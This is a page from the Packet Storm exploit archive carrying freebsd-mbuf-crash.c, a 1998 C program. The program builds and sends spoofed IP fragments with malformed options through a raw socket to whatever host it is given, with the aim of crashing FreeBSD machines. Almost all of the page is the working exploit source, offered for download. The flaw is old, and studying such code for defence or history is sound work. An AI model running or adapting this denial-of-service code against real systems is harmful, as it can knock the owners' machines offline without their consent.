exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

freebsd-mbuf-crash.c

freebsd-mbuf-crash.c
Posted Aug 17, 1999

Exploit code that occasionally crashes FreeBSD; exploits tcp/ip flaw with bof.

tags | exploit, tcp
systems | freebsd
SHA-256 | 33476ecadd045d9953d5f7696cf9a509e56d2656b074b6bcb399c00cf3c9b48b

freebsd-mbuf-crash.c

Change Mirror Download
/* freebsd-mbuf-crash.c by Jeff Roberson, (jeffr@nwlink.com). Dec 11 1998. 
* I'm only releasing this as an example because the bug hardly ever reliably crashes a machine.
*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <strings.h>


u_long htona(char *host)
{
u_long addr;
struct hostent *hp;

if ((addr=inet_addr(host)) == INADDR_NONE) {
if ((hp = gethostbyname(host)) == NULL)
return(-1);
bcopy(hp->h_addr_list[0], &addr, sizeof(addr));
}
return(addr);
}

int main(int argc, char* argv[])
{
char buf[128];
struct ip *iph = (struct ip *)buf;
u_char *ipoptions = (u_char *)(buf + sizeof(struct ip));
struct tcphdr *tcph = (struct tcphdr *)(buf + 60);
int s, i;
struct sockaddr_in sin;

if (argc != 2) {
printf("usage\n\t%s <host>\n", argv[0]);
exit(1);
}
s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s < 0) {
perror("socket");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(7);
sin.sin_addr.s_addr = htona(argv[1]);
if (sin.sin_addr.s_addr == -1) {
printf("Error resolving %s\n", argv[1]);
exit(1);
}

bzero(buf, sizeof(buf));
iph->ip_hl=15;
iph->ip_v=4;
iph->ip_len=htons(124);
iph->ip_id= htons(getpid());
iph->ip_off= htons(IP_MF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
bcopy(&sin.sin_addr.s_addr, &iph->ip_dst, sizeof(u_long));
iph->ip_src.s_addr = htona("10.2.3.4");
for (i = 0; i < 20;i++) {
ipoptions[i]=0xff;
}
ipoptions[0] = 0xff; /* Made up option */
ipoptions[1] = 0x1a;
memset((char *)&ipoptions[2], 0xff, 37);
ipoptions[39] = 1; /* IP_NOP */
tcph->th_sport = htons(5505);
tcph->th_dport = htons(23);
tcph->th_seq = htonl(0xabcde123);
tcph->th_ack = htonl(0x321edcba);
tcph->th_flags = TH_ACK | TH_PUSH;
tcph->th_win = htons(0x1234);

if (sendto(s, buf, 124, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 124) {
perror("sendto");
exit(1);
}
if (sendto(s, buf, 124, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 124) {
perror("sendto");
exit(1);
}
iph->ip_len = htons(80);
iph->ip_off = htons(8);
if (sendto(s, buf, 80, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 60) {
perror("sendto");
exit(1);
}
exit(0);
}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close